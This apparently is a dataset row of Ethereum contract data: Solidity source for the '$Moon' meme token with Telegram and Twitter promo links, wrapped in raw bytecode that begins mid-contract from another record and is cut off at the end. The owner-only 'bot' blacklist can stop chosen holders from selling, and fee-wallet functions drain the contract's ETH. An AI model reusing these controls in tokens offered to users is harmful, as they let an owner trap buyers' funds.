b4e3826040518082815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561365e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000811115156136d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61372881600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137bd81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167ff9626bca62c59d77fa45a204dc096874ee066a5c5e124aa9ce6c438dbdf7387a826040518082815260200191505060405180910390a2505056fea165627a7a723058208209883f05989989756c3550866bc810b645a9e6de071d9647c6f7f1850abb430029
|
{"success": true, "error": null, "results": {}}
| 7,912 |
0x7cbdaa0b61efedc2c916d1abd67860566e7892ac
|
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
/**
3% Buy Tax / 3% Sell Tax
Enjoy this play 🌕
https://t.me/MoonSoonErc
https://twitter.com/MoonSoonErc/status/1518285918561607681?t=B5bVeZ_wxpx-sgqZdU9JIg&s=19
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Moonsoon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,3,0,3);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
string private constant _name = "$Moon";
string private constant _symbol = "$Moon";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x321349bD44D4D5290952f855bCaB609Ff31cDC46);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(1).div(100);
_maxWalletSize = _tTotal.mul(2).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b6040516101679190613168565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612c91565b61051c565b6040516101a4919061314d565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612dd8565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f891906132aa565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ccd565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612c42565b61093c565b60405161025e919061314d565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612bb4565b610a15565b005b34801561029c57600080fd5b506102a5610b05565b6040516102b2919061331f565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612d60565b610b0e565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612d0e565b610b87565b005b34801561031957600080fd5b50610334600480360381019061032f9190612d60565b610c39565b005b34801561034257600080fd5b5061034b610d13565b005b34801561035957600080fd5b50610374600480360381019061036f9190612bb4565b610d85565b60405161038191906132aa565b60405180910390f35b34801561039657600080fd5b5061039f610dd6565b005b3480156103ad57600080fd5b506103b6610f29565b005b3480156103c457600080fd5b506103cd610fe0565b6040516103da919061307f565b60405180910390f35b3480156103ef57600080fd5b506103f8611009565b6040516104059190613168565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612c91565b611046565b604051610442919061314d565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612d60565b611064565b005b34801561048057600080fd5b5061048961113e565b005b34801561049757600080fd5b506104a06111b8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612c06565b61176e565b6040516104d691906132aa565b60405180910390f35b60606040518060400160405280600581526020017f244d6f6f6e000000000000000000000000000000000000000000000000000000815250905090565b60006105306105296117f5565b84846117fd565b6001905092915050565b6105426117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c69061320a565b60405180910390fd5b600f5483856105de91906133e0565b11156105e957600080fd5b60105481836105f891906133e0565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000683635c9adc5dea00000905090565b61064a6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce9061320a565b60405180910390fd5b60005b8151811015610938573073ffffffffffffffffffffffffffffffffffffffff16828281518110610733577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107ed5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108875750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610866577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610925576001600760008484815181106108cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610930906135c0565b9150506106da565b5050565b60006109498484846119c8565b610a0a846109556117f5565b610a058560405180606001604052806028815260200161391c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109bb6117f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6e9092919063ffffffff16565b6117fd565b600190509392505050565b610a1d6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa19061320a565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4f6117f5565b73ffffffffffffffffffffffffffffffffffffffff1614610b6f57600080fd5b6031811115610b7d57600080fd5b8060128190555050565b610b8f6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c139061320a565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610c416117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc59061320a565b60405180910390fd5b60008111610cdb57600080fd5b610d0a6064610cfc83683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d546117f5565b73ffffffffffffffffffffffffffffffffffffffff1614610d7457600080fd5b6000479050610d8281612097565b50565b6000610dcf600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612103565b9050919050565b610dde6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e629061320a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f316117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb59061320a565b60405180910390fd5b683635c9adc5dea00000601581905550683635c9adc5dea00000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f244d6f6f6e000000000000000000000000000000000000000000000000000000815250905090565b600061105a6110536117f5565b84846119c8565b6001905092915050565b61106c6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f09061320a565b60405180910390fd5b6000811161110657600080fd5b611135606461112783683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661117f6117f5565b73ffffffffffffffffffffffffffffffffffffffff161461119f57600080fd5b60006111aa30610d85565b90506111b581612171565b50565b6111c06117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112449061320a565b60405180910390fd5b60148054906101000a900460ff161561129b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112929061328a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061132b30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117fd565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561137157600080fd5b505afa158015611385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a99190612bdd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561140b57600080fd5b505afa15801561141f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114439190612bdd565b6040518363ffffffff1660e01b815260040161146092919061309a565b602060405180830381600087803b15801561147a57600080fd5b505af115801561148e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b29190612bdd565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153b30610d85565b600080611546610fe0565b426040518863ffffffff1660e01b8152600401611568969594939291906130ec565b6060604051808303818588803b15801561158157600080fd5b505af1158015611595573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115ba9190612d89565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061162360646116156001683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b601581905550611659606461164b6002683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117189291906130c3565b602060405180830381600087803b15801561173257600080fd5b505af1158015611746573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176a9190612d37565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561186d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118649061326a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d4906131aa565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119bb91906132aa565b60405180910390a3505050565b60008111611a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a029061322a565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611a2e610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a9c5750611a6c610fe0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f5e57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b4c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bba5750601460179054906101000a900460ff165b15611c2757601554811115611bce57600080fd5b60165481611bdb84610d85565b611be591906133e0565b1115611c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1d9061324a565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ccf5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d285750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611df657600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611dd15750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611dda57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611e0130610d85565b9050611e556064611e47601254611e39601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d85565b611fd290919063ffffffff16565b61204d90919063ffffffff16565b811115611eb157611eae6064611ea0601254611e92601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d85565b611fd290919063ffffffff16565b61204d90919063ffffffff16565b90505b601460159054906101000a900460ff16158015611f1c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f345750601460169054906101000a900460ff165b15611f5c57611f4281612171565b60004790506000811115611f5a57611f5947612097565b5b505b505b611f6983838361246b565b505050565b6000838311158290611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad9190613168565b60405180910390fd5b5060008385611fc591906134c1565b9050809150509392505050565b600080831415611fe55760009050612047565b60008284611ff39190613467565b90508284826120029190613436565b14612042576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612039906131ea565b60405180910390fd5b809150505b92915050565b600061208f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061247b565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120ff573d6000803e3d6000fd5b5050565b600060095482111561214a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121419061318a565b60405180910390fd5b60006121546124de565b9050612169818461204d90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121fd5781602001602082028036833780820191505090505b509050308160008151811061223b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122dd57600080fd5b505afa1580156122f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123159190612bdd565b8160018151811061234f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117fd565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167